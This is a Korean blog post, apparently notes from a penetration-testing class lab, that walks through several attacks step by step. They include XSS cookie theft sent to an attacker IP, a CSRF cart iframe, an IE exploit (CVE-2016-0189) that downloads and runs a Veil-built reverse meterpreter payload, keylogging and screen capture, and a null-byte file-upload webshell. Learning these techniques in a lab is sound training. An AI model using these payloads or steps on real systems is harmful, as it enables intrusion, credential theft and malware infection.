일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
- 모의해킹
- programmers
- 모드 설정
- hackerrank
- Suninatas
- 미터프리터
- ToDoList
- Algorithm
- leetcode
- CSRF
- 정보시스템
- 취약점
- SQL Injection
- StringBuilder
- 웹해킹
- todo
- 써니나타스
- SQLMap
- algotithm
- java
- metasploit
- wpscan
- stock price
- meterpreter
- HTML Injection
- 취약점진단
- todo List
- study
- 라우터
- Router
- Today
- Total
보안 / 개발 챌린저가 목표
모의해킹 실습 (2) 본문
▶ 쿠키값 탈취를 통한 타사용자 권한 획득
① 공격자는 XSS 취약점이 있는 게시판에 악성 스크립트 구문을 삽입한다.
<iframe id="targetFrame" width=0 height=0></iframe><script>document.getElementById("targetFrame").src="http://192.168.0.133/getcookie.asp?cookie="+document.cookie;</script>
- 공격자의 IP를 웹서버로 만들어주어야 실행된다.
*src에는 공격자의 IP주소를 넣어준다. (나는 Window XP의 IP 주소!)
- getcookie.asp
<%
cookie=request("cookie")
Set fs = Server.Createobject("Scripting.FileSystemObject")
if fs.fileexists("c:\webpages\xss.txt") then
else
fs.createtextfile "c:\webpages\xss.txt", True
end if
Set objFile = fs.OpenTextFile("c:\webpages\xss.txt", 8)
objFile.writeLine("-----------------------------------------------")
objFile.writeLine(cookie)
objFile.close
%>
② 피해자는 Internet Explorer(IE) 브라우저로 http://61.39.155.24:50003/ 게시판의 해당 게시글을 열람한다(로그인 한 상태).
→ 나의 로그인 정보는 kisec / kisec
③ 공격자의 PC의 C:\webpages\xss.txt 가 생성된다.
④ 공격자 IE 브라우저의 Cookie Tool → Edit cookie → xss.txt의 쿠키값을 셋팅한 후, 새로고침을 하면 해당 쿠키값을 가진 아이디로 로그인이 된다.
kisec 계정으로 로그인이 되었다.
▷ CSRF 취약점
- 사이트 간 요청 위조(Cross-site Request Forgery)
- 웹 어플리케이션 취약점 중 하나로, 사용자가 자신의 의지와 무관하게 공격자가 의도한 행동을 하여
특정 웹 페이지를 보안에 취약하게 한다거나 수정, 삭제 등의 작업을 하게 만드는 공격 방법이다.
- 공격의 난이도가 높지 않아 널리 사용되는 방법 중 하나이다.
*http 패킷 덤프 뜨는 HttpWatch(XP에서) 설치 후 IE 브라우저에서 shift + F2 하면 밑에 같이 보여준다.
▽ 상품이 장바구니에 자동으로 담기게 하는 공격
① 상품을 담을 때 Record를 눌러 기록을 시작하고 상품 카트 담기를 한다.
② 상품 장바구니 요청 URL
POST의 주소를 복사해 놓는다. (http://61.39.155.24:50003/demoshop/shopping_cart/cart_set.asp)
ea | 1 |
g_code | 200811415950 |
top | 1 |
POST Data 를 확인한다.
③ 스크립트 구문
<iframe src="http://61.39.155.24:50003/demonshop/shopping_cart/cart_set.asp?ea=7597&g_code=200811415950&top=1" width=0 height=0></iframe>
④ 위의 스크립트문을 포함한 글을 쓴 후, 글을 클릭하여 읽은 다음 내 쇼핑 카트를 가서 확인하면 담겨져있다.
▶ XSS 취약점이 있는 사이트를 이용한 악성코드 감염 공격 시나리오
- 페이로드(payload)
: 전송되는 데이터를 의미.
: 데이터를 전송할 때 헤더와 메타데이터, 에러 체크 비트 등과 같은 다양한 요소들을 함께 보내어
데이터 전송의 효율과 안정성을 높히게 된다. 이 때, 보내고자 하는 데이터 자체를 의미하는 것.
① 환경 구성
1) 공격자
§ Kali Linux : exploit page + malware repository(악성코드 제작 및 악성코드 저장소) → 악성서버
(exploit page = Internet Explorer(IE) exploit)
§ WIN_WEB : 악성 서버(exploit page)로 유도시키는 악성스크립트 구문삽입(XSS 취약점을 이용한 악성스크립트 구문 삽입)
2) 피해자
§ Window(7) PC : IE vulnerability
② IE exploit code
1) CVE-2016-0189 github 검색 : https://github.com/theori-io/cve-2016-0189
(위의 github의 exploit 폴더 - vbscript_godmode.html에서 소스 확인 : 104 ~ 107 줄 확인)
2) vbscript_godmode.html
Kali에서 github를 읽어와 cve 폴더에 vbscript_godmode.html 파일을 복사한다.
apache를 실행(service apache2 start)시키고 Kali의 IP주소를 확인하여 win7(피해자)의 브라우저에서 확인해본다.
http://192.168.0.130/vbscript_godmode.html 을 실행하면 다음과 같이 cmd 창이 뜬다.
*명령어가 실행되면 안되므로 취약한 것!
③ 악성코드 제작
1) Veil-Framework
§ 윈도우 기반 악성코드를 제작할 때 사용.
☞ Kali의 홈 디렉토리에서 Veil을 들어가기.
☞ metasploit - meterpreter 연동 가능 (정보 수집을 효율적으로 할 수 있음)
2) 윈도우 기반 악성 코드 제작 및 metasploit 연동(리스닝)
§ ls -al로 확인 ⇒ Veil.py 가 있는지!
§ Veil.py를 실행하고 Evasion을 사용함.
§ list를 이용하여 현재 버전에서 윈도우 악성코드 제작 가능한 목록들을 확인한다.
*그 중 우리는 28) python/meterpreter/rev_tcp.py 으로 만들 것!
피해자가 공격자한테 보낸다. = reverse
공격자의 ip가 들어가야 한다.
§ LHOST 에 칼리(공격자)의 IP를 넣어야한다.
§ set LHOST [공격자 IP]
set LHOST 192.168.0.130
§ 나는 53 포트를 사용한다. 보통은 공격자를 구분하기 어렵게 하려고 80 포트를 사용한다.
set LPORT 53
generate
§ ctrl + shift + t 하면 새 터미널이 열린다(칼리에서!).
§ 악성파일이름은 messbox로 한다. 1 을 입력하면 파이썬을 설치하겠다는 의미이다.
§ enter 하지 말고 새 터미널을 열어준다.
§ /var/lib/veil/output/compiled/messbox.exe를 홈 디렉토리에 옮겨줘야 한다.
cp /var/lib/output/compiled/messbox.exe /var/www/html
service apache2 restart
msfconsole -r /var/lib/veil/output/handlers/messbox.rc
위와 같이 되었다면, 대기 상태인 것이다.
④ 악성코드 감염 Payload 제작
1) CVE-2016-0189 취약점을 이용한 Payload 제작
2) vbscript로 작성
§ 악성 서버의 악성파일(messbox.exe) 호출 ⇒ Kali의 홈 디렉토리의 messbox.exe 파일의 http로 요청
GET http://[Kali의 IP]/messbox.exe
§ 요청한 messbox.exe를 %temp% 디렉토리에 저장
SaveToFile "%TEMP%\messbox.exe"
§ 저장된 messbox.exe를 실행
Exec("%TEMP%\messbox.exe")
* TEMP를 쓰는 이유 : UAC 기능을 우회하기 위하여 사용!
3) Kali에서 place - Computer - var - www - html - vbscript_godmode.html 을 open with other application
- view all applications - leafpad 로 들어가서 cmd를 검색하여 찾기.
§ 해당 두 줄을 지우고,
다음과 같이 설정한다(밑줄친 부분은 Kali의 IP로 변경!).
*options - Word Wrap 하면 칸에 맞춰 줄바꿈 됨!
⑤ XSS 취약점을 이용한 악성 스크립트
<a href="http://192.168.0.130/vbscript_godmode.html">클릭</a>
XP에서 위의 태그를 넣은 글을 작성한다.
작성 후, 해당 글에 들어가서 클릭 을 누른다.
Kali에 이렇게 감염이 된 것이 확인 가능하다.
%TEMP% 폴더에도 messbox.exe가 생겼다.
⑥ 감염 이후 피해자 PC 정보 수집
1) 감염 완료 후 Kali에서 enter 후에 sessions 하면 감염 PC 목록이 뜬다.
2) sessions -i 1 후에 ? 하면 쓸 수 있는 명령어들이 나온다.
3) 그 중 sysinfo 가 피해자 PC의 대략적인 정보를 보여준다.
4) 공격의 유지를 위하여 이동한다.
이를 이동해야 한다.
ps -S explorer.exe 를 하여 PID를 확인한다.
5) PID를 이동시킨다.
migrate 1516
번외 1) 피해자의 key 입력 값을 모두 받아오기
keyscan_start를 입력하고, 피해자의 PC에서 키보드에 입력을 해본다.
그 후, keyscan_dump를 하면 밑의 결과처럼 값이 나온다. 조합을 잘 해보면 ID와 PW 등 중요 정보를 획득 가능하다.
번외 2) 피해자 PC의 화면을 불러오기. 원격 제어는 아니고 그냥 훔쳐보는 것.
run vnc 로 실행 가능하다.
Kali인데 XP의 화면이 보인다.
▷ 파일 업로드 공격
- fckdeitor, smartdeitor2 등의 취약점 (editor 자체의 취약점을 찾아야 한다).
- 첨부파일이 올라갈 수 있는 부분들을 다 검사해야 한다.
① asp 파일이 업로드 되는지 확인한다(기본적으로는 안됨. 에러메시지가 나온다).
② burp suite 를 사용한다.
*간단 설정
1) proxy - options - intercept 체크하기! (request, response 다)
2) options - display - 한글 지원하는 폰트로 변경( ex) 돋움체 )
③ proxy를 설정한다(켜준다).
④ asp 파일을 등록할 수 있는 소스 코드를 추가한다.
⑤ forward로 넘긴 다음 asp 파일을 추가하여 글을 작성해본다.
⑥ .asp 파일이 올라간 것이 확인된다.
*특수문자 우회 공격
§ "%00", "%ZZ", "%09", "%13" 등
webshell.asp%00.txt 하면 %00 뒤의 값은 null로 인식하여 결국 webshell.asp 파일로 인식됨.
⑦ 올린 파일의 이름과 경로를 찾기
§ strFileName=webshell(138).asp -> 나는 여러번 올려보느라 파일 이름 달라짐
§ f_path=upload_file
⑧ 찾은 경로를 통하여 접근하기
§ http://61.39.155.24:50003/demoshop/shop_board/upload_file/webshell(138).asp
⑨ 위의 exec 검색 창에 ipconfig 를 검색해보기
이와 같이 해당 웹 서버의 PC의 정보가 나오게 된다.
'IT Security > Class_Do it' 카테고리의 다른 글
모의해킹 실습 (4) (0) | 2020.10.14 |
---|---|
모의해킹 실습 (3) (0) | 2020.10.14 |
모의해킹 실습 (1) (0) | 2020.10.07 |
네트워크 장비 진단 (0) | 2020.09.25 |
Window 서버 진단 (2) (0) | 2020.09.23 |